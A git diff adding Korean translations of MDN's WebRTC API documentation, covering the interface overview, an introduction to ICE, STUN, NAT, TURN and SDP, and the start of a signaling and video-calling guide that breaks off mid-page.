+++ b/files/ko/web/api/webrtc_api/index.html
@@ -0,0 +1,225 @@
+---
+title: WebRTC API
+slug: Web/API/WebRTC_API
+tags:
+  - API
+  - Audio
+  - Landing
+  - Media
+  - NeedsTranslation
+  - Networking
+  - TopicStub
+  - Video
+  - WebRTC
+  - WebRTC API
+  - streaming
+translation_of: Web/API/WebRTC_API
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><strong>WebRTC</strong>(Web Real-Time Communication)은 웹 애플리케이션과 사이트가 중간자 없이 브라우저 간에 오디오나 영상 미디어를 포착하고 마음대로 스트림할 뿐 아니라, 임의의 데이터도 교환할 수 있도록 하는 기술입니다. WebRTC를 구성하는 일련의 표준들은 플러그인이나 제 3자 소프트웨어 설치 없이 종단 간 데이터 공유와 화상 회의를 가능하게 합니다.</p>
+
+<p>이를 위하여 WebRTC는 상호 연관된 API와 프로토콜로 구성되어 함께 작동합니다. 이 문서에서는 WebRTC의 기본을 이해하고, 설정하며, 데이터와 미디어 연결을 위해 사용할 수 있게 도와줄 것입니다.</p>
+
+<h2 id="상호_운용성">상호 운용성</h2>
+
+<p>WebRTC의 구현이 계속 진화하고 있으며 각 브라우저마다 다른 코덱 및 기타 미디어 기능에 대한 지원 수준이 다르기 때문에, 코드 작성을 시작하기 전에 Google에서 제공하는 <a href="https://github.com/webrtcHacks/adapter">Adapter.js 라이브러리</a>를 사용하는 것을 강력하게 고려해보아야합니다.</p>
+
+<p>Adapter.js는 shim 및 polyfill을 사용하여 다양한 플랫폼에서 WebRTC 구현 간의 다양한 차이점을 없애줍니다. 또한 WebRTC 개발 프로세스를 전체적으로 쉽게 수행 할 수 있도록 접두사와 다른 이름 지정의 차이점을 처리하며보다 광범위하게 호환되는 결과를 제공합니다. 라이브러리는 <a href="https://www.npmjs.com/package/webrtc-adapter">NPM 패키지</a>로도 제공됩니다.</p>
+
+<p>Adapter.js에 대한 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/API/WebRTC_API/adapter.js">Improving compatibility using WebRTC adapter.js</a>를 참조하십시오.</p>
+
+<h2 id="WebRTC_개념_및_사용법">WebRTC 개념 및 사용법</h2>
+
+<p>WebRTC는 여러가지 목적으로 사용될 수 있으며, Media Capture and Streams API 와 상당히 많은 부분이 겹친다. 이 둘은 서로 상호작용을 하면서 웹에 강력한 멀티미디어 기능을 제공한다. 예를들어 음성, 화상 회의, 파일 교환, <del>계정 관리</del>, <del>DTMF 시그널을 이용해 legacy telephone 시스템 interfacing</del> 등이 있다. 피어들 간의 커넥션이 만들어지는데 어떤 드라이버나 플러그인도 필요하지 않는다. <del>그리고 가끔은 중개 서버 없이도 만들어질 수 있다.</del></p>
+
+<p>두 피어 간의 커넥션은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>인터페이스를 통해 이루어진다. 커넥션이 이루어지고 열리면, 미디어 스트림들 (<a href="https://www.gitbook.com/book/gustnxodjs/webrtc-mdn-kor/edit#"><code>MediaStream</code></a>) 과 데이터 채널(<a href="https://www.gitbook.com/book/gustnxodjs/webrtc-mdn-kor/edit#"><code>RTCDataChannel</code></a>)들을 커넥션에 연결할 수 있다.</p>
+
+<p>미디어 스트림들은 미디어 정보를 가지는 다수의 트랙들로 구성될 수 있다. <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStreamTrack"><code>MediaStreamTrack</code></a>인터페이스 object를 베이스로 하는 트랙은 음성, 영상 및 텍스트(제목 또는 챕터 이름 조차도 포함 가능하다)를 포함하는 다양한 미디어 데이터의 타입 중 하나를 포함 할 수 있다. 대부분의 스트림들은 적어도 한 개 이상의 음성(영상) 트랙으로 구성되어 있고, live 미디어(웹 캠 등)나 저장된(스트리밍) 미디어들을 전송하고 받을 수 있다.</p>
+
+<p>또한, 임의의 바이너리 데이터(이미지든 텍스트든 파일이든 모두 가능하다는 뜻)를 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCDataChannel"><code>RTCDataChannel</code></a>인터페이스를 통해 피어들 간에 교환할 수 있다. 이것은 <del>back-channel 정보들</del>, 메타데이터 교환, 게임 status 패킷들, 파일 교환, <del>데이터 교환을 위한 primary channel</del> 등에 쓰일 수 있다.</p>
+
+<p><em><strong>더 자세한 내용은 밑에 guide와 tutorial을 참조하길 바란다</strong></em></p>
+
+<h2 id="WebRTC_인터페이스">WebRTC 인터페이스</h2>
+
+<p>WebRTC는 다양한 작업을 수행하기 위해 함께 동작하는 인터페이스를 제공하기때문에 아래 목록의 인터페이스들을 카테고리별로 나누었다. 알파벳 순으로 정리된 목록은 사이드 바를 참조하라.</p>
+
+<h3 id="연결_설정_및_관리">연결 설정 및 관리</h3>
+
+<p>이 인터페이스들을 사용하여 WebRTC 연결을 설정할 수 있고, 연결을 맺을 수 있으며 WebRTC 연결을 관리할 수 있다.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection")}}</dt>
+ <dd>로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 나타낸다. 두 피어 간의 효율적인 데이터 스트리밍을 처리하는데 사용된다.</dd>
+ <dt>{{domxref("RTCDataChannel")}}</dt>
+ <dd>연결된 두 피어간의 양방향 데이터 채널을 나타낸다.</dd>
+ <dt>{{domxref("RTCDataChannelEvent")}}</dt>
+ <dd>{{domxref("RTCDataChannel")}}을 {{domxref("RTCPeerConnection")}}에 연결하는 동안 발생하는 이벤트를 나타낸다. 이 인터페이스와 함께 전송되는 유일한 이벤트는 {{event("datachannel")}}이다.</dd>
+ <dt>{{domxref("RTCSessionDescription")}}</dt>
+ <dd>세션의 매개 변수를 나타냅니다. 각 <code>RTCSessionDescription</code>는 세션의  {{Glossary("SDP")}} 기술자(descriptor)의 기술 제안 / 응답 협상 과정의 일부를 나타내는 설명  {{DOMxRef("RTCSessionDescription.type", "type")}}으로 구성되어 있습니다.</dd>
+ <dt>{{domxref("RTCStatsReport")}}</dt>
+ <dd>연결 또는 연결의 개별 트랙에 대한 통계를 자세히 설명하는 정보를 제공합니다. {{domxref("RTCPeerConnection.getStats()")}}를 호출하여 보고서를 얻을 수 있습니다.</dd>
+ <dt>{{domxref("RTCIceCandidate")}}</dt>
+ <dd>{{domxref("RTCPeerConnection")}} 설정을 위한 후보 인터넷 연결 설정 (ICE; internet connectivity establishment) 서버를 나타냅니다.</dd>
+ <dt>{{domxref("RTCIceTransport")}}</dt>
+ <dd>인터넷 연결 설정 (ICE) 전송에 대한 정보를 나타냅니다.</dd>
+ <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt>
+ <dd>대상이있는 ICE 후보와 관련하여 발생하는 이벤트 (일반적으로 {{domxref("RTCPeerConnection")}})를 나타냅니다. {{event ( "icecandidate")}} 유형의 이벤트 만 있습니다.</dd>
+ <dt>{{domxref("RTCRtpSender")}}</dt>
+ <dd>{{domxref ( "RTCPeerConnection")}}에서 {{domxref ( "MediaStreamTrack")}}의 데이터 인코딩 및 전송을 관리합니다.</dd>
+ <dt>{{domxref("RTCRtpReceiver")}}</dt>
+ <dd>{{domxref ( "RTCPeerConnection")}}에서 {{domxref ( "MediaStreamTrack")}}의 데이터 수신 및 디코딩을 관리합니다.</dd>
+ <dt>{{domxref("RTCTrackEvent")}}</dt>
+ <dd>새롭게 수신된 {{domxref ( "MediaStreamTrack")}}이 생성되고 관련 {{domxref ( "RTCRtpReceiver")}} 개체가 {{domxref ( "RTCPeerConnection")}} 개체에 추가되었음을 나타냅니다.</dd>
+ <dt>{{DOMxRef("RTCSctpTransport")}}</dt>
+ <dd>스트림 제어 전송 프로토콜(<em>Stream Control Transmission Protocol, </em><strong>{{Glossary("SCTP")}}</strong>) 전송을 설명하는 정보를 제공하고, 모든 <code><a href="/en-US/docs/Web/API/RTCPeerConnection" title="The RTCPeerConnection interface represents a WebRTC connection between the local computer and a remote peer. It provides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed.">RTCPeerConnection</a></code> 데이터 채널에 대한 SCTP 패킷이 송수신되는 기본 데이터그램 전송 보안 계층 프로토콜(Datagram Transport Layer Security, <strong>{{Glossary("DTLS")}}</strong>) 전송에 접근하기 위한 방법을 제공합니다.</dd>
+ <dt>
+ <h4 id="Dictionaries">Dictionaries</h4>
+ </dt>
+ <dt>{{DOMxRef("RTCConfiguration")}}</dt>
+ <dd><a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection" title="The RTCPeerConnection interface represents a WebRTC connection between the local computer and a remote peer. It provides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed."><code>RTCPeerConnection</code></a> 구성 옵션을 제공하는데 사용됩니다.</dd>
+ <dt>{{DOMxRef("RTCIceServer")}}</dt>
+ <dd>Defines how to connect to a single {{Glossary("ICE")}} server (such as a {{Glossary("STUN")}} or {{Glossary("TURN")}} server).</dd>
+ <dt>{{DOMxRef("RTCRtpContributingSource")}}</dt>
+ <dd>Contains information about a given contributing source (CSRC) including the most recent time a packet that the source contributed was played out.</dd>
+ <dt>
+ <h4 id="Types">Types</h4>
+ </dt>
+ <dt>{{DOMxRef("RTCSctpTransportState")}}</dt>
+ <dd>Indicates the state of an {{DOMxRef("RTCSctpTransport")}} instance.</dd>
+ <dt>{{DOMxRef("RTCSessionDescriptionCallback")}}</dt>
+ <dd>The RTCSessionDescriptionCallback is passed into the {{DOMxRef("RTCPeerConnection")}} object when requesting it to create offers or answers.</dd>
+</dl>
+
+<h3 id="식별자와_보안">식별자와 보안</h3>
+
+<p>WebRTC API에는 보안 및 식별자를 관리하기위한 여러 인터페이스가 포함되어 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("RTCIdentityProvider")}}</dt>
+ <dd>사용자 에이전트가 Identity Assertion을 생성 또는 검증을 요청할수 있도록합니다.</dd>
+ <dt>{{domxref("RTCIdentityAssertion")}}</dt>
+ <dd>Represents the identity of the a remote peer of the current connection. If no peer has yet been set and verified this interface returns <code>null</code>. Once set it can't be changed.</dd>
+ <dt>{{domxref("RTCIdentityProviderRegistrar")}}</dt>
+ <dd>식별자 공급자(idP; identity provider)를 제공합니다.</dd>
+ <dt>{{domxref("RTCIdentityEvent")}}</dt>
+ <dd>Represents an identity assertion generated by an identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. The only event sent with this type is {{event("identityresult")}}.</dd>
+ <dt>{{domxref("RTCIdentityErrorEvent")}}</dt>
+ <dd>Represents an error associated with the identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. Two events are sent with this type: {{event("idpassertionerror")}} and {{event("idpvalidationerror")}}.</dd>
+ <dt>{{domxref("RTCCertificate")}}</dt>
+ <dd>Represents a certificate that an {{domxref("RTCPeerConnection")}} uses to authenticate.</dd>
+</dl>
+
+<h3 id="Telephony">Telephony</h3>
+
+<p>이러한 인터페이스들은 공중 전화망 (PTSN; public-switched telephone networks)과의 상호 작용과 관련이 있습니다</p>
+
+<dl>
+ <dt>{{domxref("RTCDTMFSender")}}</dt>
+ <dd>Manages the encoding and transmission of dual-tone multi-frequency (DTMF) signaling for an {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt>
+ <dd>Indicates an occurrence of a of dual-tone multi-frequency (DTMF). This event does not bubble (except where otherwise stated) and is not cancelable (except where otherwise stated).</dd>
+</dl>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Introduction to WebRTC protocols</a></dt>
+ <dd>이 문서는 WebRTC API가 구축된 기반이 되는 프로토콜을 소개한다.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></dt>
+ <dd>WebRTC 커넥션의 작동 방식 및 다양한 프로토콜과 인터페이스를 함께 사용하여 강력한 커뮤니케이션 앱을 만드는 방법에 대한 가이드이다.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></dt>
+ <dd>WebRTC는 임의 데이터, 오디오, 비디오 또는 이들의 모든 조합에 대한 피어 투 피어 커뮤니케이션을 브라우저 어플리케이션으로 구축하도록 해준다. 이 문서에서는, 모든 방법으로 커넥션을 설정하는 것에서 부터 더 이상 필요하지 않을 때 커넥션을 닫는 것까지 WebRTC 세션의 수명에 대해 살펴볼 것이다.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and two-way video calling</a></dt>
+ <dd>여러 사용자들 간의 화상통화를 할 수 있는 Websocket을 기반으로한 튜토리얼 및 예제이다. 채팅 서버의 웹소켓 커넥션은 WebRTC의 시그널링을 위해 사용된다.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></dt>
+ <dd>A guide to the codecs which WebRTC requires browsers to support as well as the optional ones supported by various popular browsers. Included is a guide to help you choose the best codecs for your needs.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_data_channels">Using WebRTC data channels</a></dt>
+ <dd>이 가이드는 두 피어 사이의 임의의 데이터를 교환하기 위해 피어 커넥션와 관련된 {{domxref("RTCDataChannel")}}을 사용할 수 있는 방법을 다룬다.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_DTMF">Using DTMF with WebRTC</a></dt>
+ <dd>구식 전화 시스템에 연결되는 게이트웨이와 상호 작용하기 위한 WebRTC의 지원에는 {{domxref("RTCDTMFSender")}} 인터페이스를 사용하여 DTMF 톤을 보내는 기능이 포함된다. 이 가이드는 어떻게 그렇게 하는지 보여준다.</dd>
+</dl>
+
+<h2 id="Tutorials">Tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/adapter.js">Improving compatibility using WebRTC adapter.js</a></dt>
+ <dd>The WebRTC organization <a href="https://github.com/webrtc/adapter/">provides on GitHub the WebRTC adapter</a> to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking still photos with WebRTC</a></dt>
+ <dd>This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></dt>
+ <dd>The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, so that the same programming model can be used for each.</dd>
+</dl>
+
+<h2 id="Resources">Resources</h2>
+
+<h3 id="Protocols">Protocols</h3>
+
+<h4 id="WebRTC-proper_protocols">WebRTC-proper protocols</h4>
+
+<ul>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-alpn/"><cite>Application Layer Protocol Negotiation for Web Real-Time Communications</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-audio/"><cite>WebRTC Audio Codec and Processing Requirements</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-channel/"><cite>RTCWeb Data Channels</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-protocol/"><cite>RTCWeb Data Channel Protocol</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-rtp-usage/"><cite>Web Real-Time Communication (WebRTC): Media Transport and Use of RTP</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-security-arch/"><cite>WebRTC Security Architecture</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-transports/"><cite>Transports for RTCWEB</cite></a></li>
+</ul>
+
+<h4 id="Related_supporting_protocols">Related supporting protocols</h4>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc5245">Interactive Connectivity Establishment (ICE): A Protocol for Network Address Translator (NAT) Traversal for Offer/Answer Protocol</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc5389"><cite>Session Traversal Utilities for NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7064"><cite>URI Scheme for the Session Traversal Utilities for NAT (STUN) Protocol</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7065"><cite>Traversal Using Relays around NAT (TURN) Uniform Resource Identifiers</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc3264"><cite>An Offer/Answer Model with Session Description Protocol (SDP)</cite></a></li>
+ <li><a href="https://datatracker.ietf.org/doc/draft-ietf-tram-turn-third-party-authz/"><cite>Session Traversal Utilities for NAT (STUN) Extension for Third Party Authorization</cite></a></li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>The initial definition of the API of WebRTC.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>The initial definition of the object conveying the stream of media content.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>The initial definition on how to obtain stream of content from DOM Elements</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>In additions to these specifications defining the API needed to use WebRTC, there are several protocols, listed under <a href="#Protocols">resources</a>.</p>
+
+<h2 class="Related_Topics" id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/06/firefox-multistream-and-renegotiation-for-jitsi-videobridge/">Firefox multistream and renegotiation for Jitsi Videobridge</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/04/peering-through-the-webrtc-fog-with-socketpeer/">Peering Through the WebRTC Fog with SocketPeer</a></li>
+ <li><a href="https://hacks.mozilla.org/2014/04/inside-the-party-bus-building-a-web-app-with-multiple-live-video-streams-interactive-graphics/">Inside the Party Bus: Building a Web App with Multiple Live Video Streams + Interactive Graphics</a></li>
+</ul>
diff --git a/files/ko/web/api/webrtc_api/protocols/index.html b/files/ko/web/api/webrtc_api/protocols/index.html
new file mode 100644
index 0000000000..0c417aa619
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/protocols/index.html
@@ -0,0 +1,57 @@
+---
+title: WebRTC 프로토콜 소개
+slug: Web/API/WebRTC_API/Protocols
+translation_of: Web/API/WebRTC_API/Protocols
+---
+<div>{{WebRTCSidebar}}{{draft}}</div>
+
+<p>이 글은 WebRTC API에 대한 프로토콜을 소개하기 위해 작성 되었습니다.</p>
+
+<h2 id="ICE">ICE</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment">Interactive Connectivity Establishment (ICE)</a> 는 브라우저가 peer를 통한 연결이 가능하도록 하게 해주는 프레임워크입니다. Peer A에서 Peer B까지 단순하게 연결하는 것으로는 작동하지 않는 것에 대한 이유는 많이 있습니다. 연결을 시도하는 방화벽을 통과해야하기도 하고, 단말에 퍼블릭 IP가 없다면 유일한 주소값을 할당해야할 필요도 있으며 라우터가 peer간의 직접연결을 허용하지 않을 때에는 데이터를 릴레이해야할 경우도 있습니다. ICE는 이러한 작업을 수행하기 위해 STUND과 TURN 서버 둘다 혹은 하나의 서버를 사용합니다.</p>
+
+<h2 id="STUN">STUN</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/STUN">Session Traversal Utilities for <u>NAT</u> (STU<u>N</u>)</a> (단축어 안의 단축어) 는 당신의 공개 주소(public address)를 발견하거나 peer간의 직접 연결을 막는 등의 라우터의 제한을 결정하는 프로토콜입니다.</p>
+
+<p>클라이언트는 인터넷을 통해 클라이언트의 공개주소와 라우터의 NAT 뒤에 있는 클라이언트가 접근가능한지에 대한 답변을 위한 요청을 STUN서버에 보냅니다.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving a STUN server." src="https://mdn.mozillademos.org/files/6115/webrtc-stun.png" style="display: block; height: 378px; margin: 0px auto; width: 259px;"></p>
+
+<h2 id="NAT">NAT</h2>
+
+<p><a href="https://en.wikipedia.org/wiki/Network_address_translation">Network Address Translation (NAT)</a> 는 단말에 공개 IP주소를 할당하기 위해 사용됩니다. 라우터는 공개 IP 주소를 갖고 있고 모든 단말들은 라우터에 연결되어 있으며 비공개 IP주소(private IP Address)를 갖고 있습니다. 요청은 단말의 비공개 주소로부터 라우터의 공개 주소와 유일한 포트를 기반으로 번역될 것입니다. 이러한 경유로 각각의 단말이 유일한 공개 IP 없이 인터넷 상에서 검색 될 수 있는 방법입니다.</p>
+
+<p>어떠한 라우터들은 네트워크에 연결할수 있는 제한을 갖고 있습니다. 따라서 STUN서버에 의해 공개 IP주소를 발견한다고 해도 모두가 연결을 할수 있다는 것은 아닙니다. 이를 위해 TURN이 필요합니다.</p>
+
+
+
+<h2 id="TURN">TURN</h2>
+
+<p>몇몇의 라우터들은 Symmetric NAT이라고 불리우는 제한을 위한 NAT을 채용하고 있습니다. 이 말은 peer들이 오직 이전에 연결한 적 있는 연결들만 허용한다는 것입니다. </p>
+
+<p><a href="http://en.wikipedia.org/wiki/TURN">Traversal Using Relays around NAT (TURN)</a> 은 TURN 서버와 연결하고 모든 정보를 그 서버에 전달하는 것으로 Symmetric NAT 제한을 우회하는 것을 의미합니다. 이를 위해 TURN 서버와 연결을 한 후 모든 peer들에게 저 서버에 모든 패킷을 보내고 다시 나에게 전달해달라고 해야 합니다. 이것은 명백히 오버헤드가 발생하므로 이 방법은 다른 대안이 없을 경우만 사용하게 됩니다.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving STUN and TURN servers." src="https://mdn.mozillademos.org/files/6117/webrtc-turn.png" style="display: block; height: 297px; margin: 0px auto; width: 295px;"></p>
+
+<h2 id="SDP">SDP</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Session_Description_Protocol">Session Description Protocol (SDP)</a> 은 해상도나 형식, 코덱, 암호화등의 멀티미디어 컨텐츠의 연결을 설명하기 위한 표준입니다. 이러한 것이 두개의 peer가 다른 한쪽이 데이터가 전송되고 있다는 것을 알게 해줍니다. 이것은 기본적으로 미디어 컨텐츠 자체가 아닌 컨텐츠에 대한 메타데이터 설명이 됩니다. </p>
+
+<p>기술적으로 보자면 SDP 는 프로토콜이 아닙니다. 그러나 데이터 포멧은 디바이스간의 미디어를 공유하기 위한 연결을 설명하기 위해 사용됩니다.</p>
+
+<p>SDP의 문서화는 다른 웹상에서도 잘되어 있으므로 이 문서에서는 간단히 소개하는 것으로 마무리 짓도록 하겠습니다.</p>
+
+<h3 id="구조">구조</h3>
+
+<p>SDP는 한줄 이상의 UTF-8 텍스트로 구성됩니다. 이 텍스트의 시작은 한글자로 구성되며 한글자 뒤에 등호기호 (<code>"="</code>)가 옵니다. 그리고 그 뒤에는 포멧에 맞게 값이나 설명이 적혀있습니다. 한글자로 시작되는 그 글자는 일반적으로 "letter-lines"를 뜻합니다. 예를들어 미디어 설명을 제공하는 것이라면 <code>"m"</code> 이라고 적어두고 이것은 m-lines을 뜻합니다.</p>
+
+<h3 id="자세히">자세히</h3>
+
+<p>SDP에 대해 더 알고 싶으시다면 아래 유용한 자료들이 있습니다.</p>
+
+<ul>
+ <li>명세: {{RFC(4566, "SDP: Session Description Protocol")}}</li>
+ <li><a href="https://www.iana.org/assignments/sip-parameters/sip-parameters.xhtml">IANA registry of SDP parameters</a></li>
+</ul>
diff --git a/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html
new file mode 100644
index 0000000000..012c96f114
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html
@@ -0,0 +1,651 @@
+---
+title: Signaling and video calling
+slug: Web/API/WebRTC_API/Signaling_and_video_calling
+translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
+---
+<p>{{WebRTCSidebar}} </p>
+
+<div class="note">
+<p>s이 글은 편집 및 검토가 필요하다. <a href="https://developer.mozilla.org/docs/MDN/Contribute/Howto/Do_an_editorial_review">도움을 줄 수 있는 방법</a>을 살펴보자. </p>
+
+<p>WebRTC는 아직까지<strong> 실험적인 기술이다.</strong><br>
+ 일부의 기술 스펙이 안정화가 되지 않았기 때문에 각 브라우져에서 사용가능한<a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Browser_compatibility"> 호환성 정보</a>를 확인해야한다. 또한, 기술의 문법과 패턴들은 스펙이 바뀌는 것처럼 브라우져의 버전이 높아진다면 변경될 수 있다.</p>
+</div>
+
+<h2 id="Summary">Summary  </h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 는 리얼 타임 음성, 영상, 데이터 교환을 할 수 있는 완전한 p2p 기술이다. <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">다른 곳에서 논의한 것 처럼 </a>서로 다른 네트워크에 있는 2개의 디바이스들을 서로 위치시키기 위해서는, 각 디바이스들의 위치를 발견하는 방법과 미디어 포맷 협의가 필요하다. 이 프로세스를 <strong>시그널링</strong> <strong>signaling </strong>이라 부르고 각 디바이스들을 상호간에 동의된 서버(socket.io 혹은 websocket을 이용한 서버)에 연결시킨다. 이 서버는 각 디바이스들이 <strong>negotiation</strong>(협의) 메세지들을 교환할 수 있도록 한다.</p>
+
+<p>이 글에서 우리는 더 나아가 유저들간에 양방향으로 화상 통화가 되는 예제인 <a href="https://mdn-samples.mozilla.org/s/websocket-chat">WebSocket chat</a>(웹소켓 문서를 작성하기 위해 만들어졌으며, 링크는 곧 활성화 될 것이다. 아직은 온라인으로 테스트가 불가능하다.)을 작동이 되도록 만들 예정이다. 이것에 관해 <a href="https://mdn-samples.mozilla.org/s/webrtc-from-chat">샘플</a> 을 확인해 보거나 Github에서 전체 <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">프로젝트</a>를 확인해볼 수 있다.</p>
+
+<div class="note">
+<p>깃헙에 있는 테스트 서버 코드는 앞으로 공부할 예제 코드보다 최신 버전이다. 이 글은 현재 업데이트 진행 중이며, 곧 완료될 예정이다. 업데이트가 완료된다면 이 글을 사라질 것이다.</p>
+</div>
+
+<div class="note">
+<p>앞으로 나올 예제들은 <strong>promise </strong>를 사용한다. 만약 너가 이것을 잘 모른다면 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">이 글</a>을 읽어 보길 바란다.</p>
+</div>
+
+<h2 id="The_signaling_server">The signaling server</h2>
+
+<p>두 디바이스들 사이에 WebRTC 커넥션을 만들기 위해, 인터넷 네트워크에서 그 둘을 연결 시키는 작업을 해줄 <strong>signaling server </strong>가 필요하다. 어떻게 이 서버를 만들고 실제로 시그널링 과정이 어떻게 되는지 살펴보자.</p>
+
+<p>가장 먼저, 시그널링 서버 자체가 필요하다. WebRTC는 시그널링 정보에 관한 transport 메커니즘을 제시하진 않는다. 두 피어들 사이에서 해리포터의 부엉이처럼 시그널링에 관련된 정보들을 전달해줄 수 있는 것이면 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket_API">WebSocket</a> 이든 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> 든 상관없다.</p>
+
+<p>여기서 중요한 점은 시그널링 서버는 시그널링 데이터 내용을 몰라도 된다는 것이다. 비록 이것은 <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#">SDP</a> 이지만, 몰라도 큰 문제가 되진 않는다. 메세지의 내용들은 그저 시그널링 서버를 통해 상대편으로 가기만 하면된다. 중요한 점은 ICE subsystem이 신호 데이터를 다른 피어에게 보내도록 지시하면, 다른 피어는 이 정보를 수신하여 자체 ICE subsystem에 전달하는 방법을 알고 있다는 것이다.</p>
+
+<h3 id="Readying_the_chat_server_for_signaling">Readying the chat server for signaling</h3>
+
+<p>이 <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">chat server</a> 는 클라이언트와 서버 사이에 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>을 통해 JSON string으로 데이터를 전송한다. 서버는 새로운 유저를 등록하는 것, username을 세팅하는 것, 채팅 메세지를 전송하는 것 등등의 작업들을 하기 위해 다양한 메세지 타입들을 다룬다. 시그널링과 ICE negotiation 을 서버가 처리하기 위해서 코드를 작성해야한다. 모든 로그인된 유저들에게 브로드캐스팅하는 것이 아니라, 특정한 유저에게 직접 메세지를 전달해야한다. 그리고 서버가 따로 처리할 필요 없이, 수신된 원하지 않은 메세지 타입들을 처리한다. 이를 통해 여러 서버를 만들 필요없이 동일한 서버를 이용하여 시그널 메시지를 보낼 수 있다. 이 개념은 WebRTC가 아니라 WebSocket에 관한 개념이다.</p>
+
